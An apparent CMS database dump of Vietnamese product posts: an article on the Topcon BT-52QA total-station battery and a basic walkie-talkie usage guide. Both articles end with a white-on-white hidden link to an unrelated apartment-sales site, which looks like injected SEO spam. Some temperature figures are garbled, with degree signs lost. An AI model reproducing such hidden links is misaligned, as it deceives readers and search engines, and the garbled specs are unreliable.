'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '487', 'name' => 'PIN MÁY TOÀN ĐẠC ĐIỆN TỬ TOPCON', 'code' => null, 'alias' => 'pin-may-toan-dac-dien-tu-topcon', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify;">Ngày nay khi công nghệ phát triển, các dụng cụ cầm tay, thiết bị di động ra đời ngày càng nhiều nên pin nạp trở thành tiện dụng hơn vì nhỏ gọn, thời gian sử dụng lâu hơn, có thể nạp lại khi hết pin,… Quan trọng hơn pin nạp là nguồn cung cấp năng lượng chủ yếu cho thiết bị di động và cầm tay, đồng thời góp phần không nhỏ trong quá trình phát triển của công nghệ và đời sống hiện nay.</span></span></span>', 'content' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: center;"> </p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Pin nạp là gì?</strong></span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin là một thiết bị lưu trữ năng lượng dưới dạng hoá năng khi ta sử dụng năng lượng này sẽ dần chuyển đổi thành điện năng. Khi hết điện pin được nạp lại cho đầy điện để ta sử dụng lại.</span></span></span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><strong style="margin: 0px; padding: 0px;">Các loại pin nạp</strong></span></span></span></span></p> <ul style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;"> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Ni-Cd dùng cho các dòng máy toàn đạc SOKKIA (SET 4, SET 500)…</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Li-on dùng cho máy toàn đạc Leica TS 02, 06, 09.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Ni-MH dùng cho máy toàn đạc Topcon dòng GTS.</span></span><br /> <br /> <strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Pin nạp của máy toàn đạc điện tử Topcon<span style="margin: 0px; padding: 0px; color: rgb(255, 0, 0);"> </span></strong></span></span></p> </li> </ul> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin máy toàn đạc điện tử Topcon (BT-52QA) được cấu tạo từ 6 cell. Pin sử dụng công nghệ hàn nối tiếp với nhau tạo thành một khối thống nhất. Bên trong có cầu chì nhiệt (800C). Pin được trang bị chuôi nạp để nạp lại mỗi khi hết điện.</span></span></span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><img alt="http://i01.i.aliimg.com/photo/v0/1896865325/BC_27CR_charger_for_Topcon_BT_50QA.jpg_220x220.jpg" src="https://lh4.googleusercontent.com/ws-dsNetBtgmx62donNUdzN_RUgxoHvDy2wamlTBeSAR_DtILrjX8n6-n3rPwW4-NNhgPBShVWiVo_9vcmkz-UY3valCGdXl6QjQruQBgCulHUD6DWg8_mB9hsDv2tzIPgp6EHOHnOIjPax0gA" style="margin: 0px; padding: 0px; border: none; height: 202px; transform: rotate(0rad); width: 248px;" /><img alt="http://www.hailyco.com.vn/upload/product/197656674205.jpg" src="https://lh5.googleusercontent.com/pTX1LRsHz3NMgBp5VQKvJ83hq4wmiQpHxjGWsc5O3-p93M0BUgTjsUppgwtHRL9QuiP1uAreUwOZ1CQJy3J6UzXSRkYOrkuOkekL95lzSAVGlEUp5G_40V3n-ppy6gP3tNeSxXwqsutTUe--Pw" style="margin: 0px; padding: 0px; border: none; height: 202px; transform: rotate(0rad); width: 232px;" /></span></span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br style="margin: 0px; padding: 0px;" /> <br style="margin: 0px; padding: 0px;" /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Pin nạp toàn đạc Topcon BT-52 QA và sạc pin toàn đạc Topcon BC 27CR </span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><strong style="margin: 0px; padding: 0px;">Bảng thông số kĩ thuật</strong></span></span></span></span></p> <div dir="ltr" style="margin: 0px 0px 0px -5.75pt; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;"> <table style="margin: 0px; padding: 0px; border-collapse: collapse; border-width: initial; border-style: none; border-color: initial;"> <tbody style="margin: 0px; padding: 0px;"> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Loại pin</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Ni-MH</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Điện thế</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">7.2 V</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Dung lượng</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">2300 mA</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Bộ nạp</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">BC-27M/27CR</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Thời gian nạp</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">2.5h</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nhiệt độ hoạt động</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">10 – 400 C</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Thời gian đo chi tiết liên tục</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">12h</span></span></span></span></p> </td> </tr> </tbody> </table> </div> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Cách sử dụng pin hiệu quả:</strong></span></span></p> <ul style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;"> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nạp pin 8 tiếng, sử dụng hết pin cho 3 lần đầu tiên.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Trước khi sử dụng nên nạp đầy pin.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Không sử dụng pin ở những nơi có nhiệt độ dưới 100C hoặc trên 400C.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nên nạp pin với bộ nạp có chế độ tự ngắt khi pin đầy.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Không sạc pin qua đêm.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Sạc đầy pin nếu muốn bảo quản thời gian dài. Định kì sạc lại 2 tháng 1 lần. </span></span></span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Chung cư Goldlight</span></a></li> </ul> ', 'images' => '201705080835254aec30307fe530ba9537842b35eb5fa1.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-05-08', 'modified' => '2025-08-10', 'status' => '1', 'view' => '79070', 'slug' => 'pin-may-toan-dac-dien-tu-topcon', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '849', 'rght' => '850', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '486', 'name' => 'Hướng dẫn cơ bản sử dụng máy bộ đàm', 'code' => null, 'alias' => 'huong-dan-co-ban-su-dung-may-bo-dam', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<div style="text-align: justify;"> <font color="#404040" face="sans-serif"><span style="font-size: 13.3333px;"><b>Chúng tôi xin gửi tới các bạn một vài hướng dẫn cơ bản trong việc sử dụng máy bộ đàm.</b></span></font></div> ', 'content' => '<p style="box-sizing: border-box; user-select: text; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64);"> <span style="box-sizing: border-box; user-select: text; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; user-select: text; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><img alt="" src="/admin/webroot/upload/image/images/huong-dan-su-dung-may-bo-dam-cam-tay-chuan-nhat-2015 sua(1).jpg" style="width: 500px; height: 402px;" /><br /> <br /> 1. Tắt và mở máy</strong></span> <strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">bộ đàm</strong></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Nút tắt mở máy thường là nút vặn (xoay) nằm trên đầu máy, thường cũng là nút tùy chỉnh Volume (âm thanh) lớn nhỏ của máy bộ đàm cầm tay (Vị trí 3 – Hình bên phải).</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Đối với loại máy bộ đàm cầm tay có bàn phím trước máy, nút tắt mở nguồn có thể được tích hợp bằng một nút bấm ở trên bàn phím của máy (Vị trí 3 – Hình bên trái). Nút tăng chỉnh Volume (âm thanh) là nút số 4.</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi tắt mở nguồn máy</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Pin sạc phải được lắp vào máy và đã lắp đúng quy định.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Pin sạc đã được nạp điện đầy theo yêu cầu sử dụng.</span></li> </ul> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">2. Tùy chọn kênh liên lạc</strong></span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Để có thể liên lạc được với nhau thì các máy bộ đàm phải để ở cùng 1 kênh liên lạc, thao tác tùy chọn kênh liên lạc được thực hiện bằng cách xoay nút (vặn) chuyển kênh nằm trên đầu máy, kế bên nút nguồn + Volume (Vị trí 2 – Hình bên phải).</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Đối với loại máy bộ đàm cầm tay có bàn phím ở phía trước máy, thao tác tùy chọn kênh liên lạc được thực hiện bằng 2 nút bấm (˄˅hoặc ↑ ↓) nằm ở phía trước máy (Vị trí 2 – Hình bên trái).</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi chọn kênh liên lạc</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Máy bộ đàm đã được cài đặt tần số sử dụng phù hợp.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tùy chọn đúng kênh liên lạc theo nhóm đã quy định.</span></li> </ul> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">3. Thao tác liên lạc qua máy bộ đàm</strong></span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tất cả các máy bộ đàm cầm tay đều có nút PTT (Push to talk), đó là 1 nút lớn nằm phía bên trái của máy (Vị trí 1 – Trên hình vẽ). Khi muốn nói chuyện với các máy bộ đàm khác, người sử dụng cần phải bóp giữ nút PTT này trước và trong suốt quá trình thực hiện cuộc gọi, sau khi nói xong hãy thả nút này ra để nghe những thông tin phản hồi từ những máy khác.</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi liên lạc qua máy bộ đàm</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Không được liên lạc khi máy không có anten.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Hạn chế việc liên lạc khi máy đang sạc pin hoặc pin yếu.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tất cả các yếu tố trên đều có thể dẫn đến tình trạng hỏng máy hoặc giảm chất lượng sử dụng của máy.</span></li> </ul> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">4. Sạc pin máy bộ đàm</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Cần phải sạc thật đầy pin đối với các máy bộ đàm mới hoặc có pin mới mua.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Sử dụng hết pin rồi mới bắt đầu quá trình sạc lại pin.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Khi sạc pin nên tắt máy hoặc tháo rời pin ra khỏi máy để sạc. <a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Chung cư Gold light</span></a></span></li> </ul> ', 'images' 